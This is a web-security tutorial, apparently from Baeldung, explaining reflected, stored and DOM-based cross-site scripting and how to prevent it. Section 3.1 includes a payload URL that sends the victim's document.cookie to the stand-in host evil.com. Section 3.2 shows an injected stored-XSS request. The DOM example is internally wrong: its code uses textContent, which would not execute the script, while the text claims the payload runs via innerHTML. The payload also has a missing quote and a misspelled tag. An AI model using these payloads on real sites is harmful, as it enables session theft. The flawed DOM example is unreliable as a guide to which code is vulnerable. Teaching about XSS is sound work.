1. Overview

In this tutorial, we’ll delve into various types of XSS attacks, how they work, their possible impacts, and the best practices for avoiding them.

2. What Is an XSS Attack?

Cross-site scripting (XSS) is a web attack that allows attackers to inject malicious code or scripts into web pages.

They can gain control of a victim’s browser and execute actions on behalf of the compromised user. These actions include stealing sensitive information such as session information and credit card details, redirecting users to malicious web pages, and conducting phishing attacks to trick users into divulging sensitive information.

An attacker can use XSS to steal sensitive information, such as cookies, session IDs, and tokens, and to engage in social engineering attacks. Attackers can also plant keyloggers on the website, which enables them to capture sensitive data entered by users, such as passwords and credit card details.

Ultimately, XSS poses a significant risk to both users and organizations. It allows attackers to compromise entire web applications and gain unauthorized access to confidential information. The consequences of XSS attacks can be severe and may include data breaches, financial loss, account hijacking, and much more.

3. How Does XSS Work, and What Are Its Types?

XSS often represents a critical security weakness within an application. It works when the user input is included directly in the HTTP response without proper validation and protection methods.

For example, an attacker can manipulate a vulnerable website and use it to return malicious JavaScript to the users. When the malicious code executes inside a victim’s browser, the attacker can fully compromise their interaction with the application:

Cross-site scripting attack explained

To exploit such a vulnerability, an attacker creates a URL with malicious code, which is then sent to the victim. By using different social engineering techniques, an attacker lures the victim into clicking the URL. If that happens, a malicious script will run in their browser. Afterward, the attacker will take full control over the victim’s browser or steal sensitive information.

We’ll now discuss three main types of XSS attacks: Reflected XSS, Stored XSS, and Document Object Model (DOM) XSS.

3.1. Reflected XSS

It’s a type of web attack where an attacker injects malicious code into a website which is then executed by a user’s browser.

Such a situation can occur when a website improperly validates or filters user input. Thus, attackers can inject code to steal sensitive information or take over the user’s browser.

For example:

https://baeldung.com/posts/edit?search=<script>new Image().src=http://evil.com/evil.php?output="+document.cookie;</script>

If a victim clicks on this link, a script will run in their browser. Then, it will send information about their current session to the attacker’s server. As a result, the attacker will be able to access the victim’s account.

3.2. Stored XSS

Stored XSS, also known as Persistent XSS, occurs when an attacker sends malicious code to a web application server as an HTTP request, and the server stores the malicious script permanently in its database.

Consequently, the server includes the malicious code directly in the HTTP response to regular users without filtering it. If a user interacts with the website or clicks on a vulnerable section, the browser executes the malicious code, leading to a successful attack. Unlike Reflected XSS, the attacker doesn’t need to use any other phishing tactics to exploit the victim.

For instance, let’s say a blog web application allows users to post blogs with a title. Since the title field isn’t properly filtered, any malicious actor can inject malicious code into the title field:

POST /submit-blog HTTP/1.1
Host: baeldung.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Cookie: session_id=ABC123

title=<h1><script>/*Malicious Code*/</script></h1>&blog=<p>This%20is%20a%20sample%20blog%20post.</p>

Therefore, the attacker stores the injected malicious code on the web application’s server. The malicious code impacts all future visitors of the affected post.

3.3. DOM XSS

A DOM-based XSS attack is a sophisticated XSS attack that exploits the dynamic nature of modern web applications and can be particularly difficult to detect and mitigate**. It occurs when a web application’s client-side scripts process user-supplied input directly to the DOM of the page without properly validating or filtering it.** The application later retrieves this data from the DOM and displays it in the browser. This can lead to the execution of malicious code injected by attackers.

For example, a web page can allow users to enter their names and display a greeting message after they click a button:

<!DOCTYPE html>
<html>
<head>
  <title>DOM-based XSS Example</title>
</head>
<body>
  <h1>Article Title</h1>

  <div id="greeting"></div>

  <script>
    // Get the username parameter from the URL
    var urlParams = new URLSearchParams(window.location.search);
    var username = urlParams.get('username');

    var greeting = document.getElementById('greeting');
    greeting.textContent = "Welcome, " + username + "!"; // Set the received username as the greeting message
  </script>
</body>
</html>

In the above example, an attacker can insert a malicious script as their username:

https://baeldung.com/user/displayGreetingMessage?username=<scirpt>/*Malicious Code*/</script>

Then, an attacker can send the link to regular users. When they click on the link, the malicious code is stored in the DOM using the innerHTML property of the greeting element. Afterward, the malicious script is retrieved from the DOM and executed in the victim’s browser. This enables the attacker to steal sensitive information or perform harmful actions.

4. Best Practices for Preventing XSS Attack

One way to prevent these attacks is to filter input on arrival. This involves validating and filtering user input to ensure that it meets the expected data and is free of malicious code.

Another measure we can take is to encode user input before including it in the HTTP response. By doing so, we can prevent the output from being interpreted as active content. Additionally, we can use content-type and x-content-type-options headers to ensure that browsers interpret the responses correctly. Moreover, to further reduce the severity of any XSS vulnerabilities, we can implement Content Security Policy (CSP).

As a last line of defense, we can also use a web application firewall (WAF) that detects attacks and protects our website against them.

5. Conclusion

In this article, we explained XSS attacks. They pose a substantial risk to web applications as they allow attackers to inject malicious code into a website and obtain unauthorized access to confidential data. Reflected XSS, stored XSS, and DOM XSS are the three primary types of XSS attacks, each of which functions differently.

Properly filtering and validating user input is essential to protect against XSS attacks.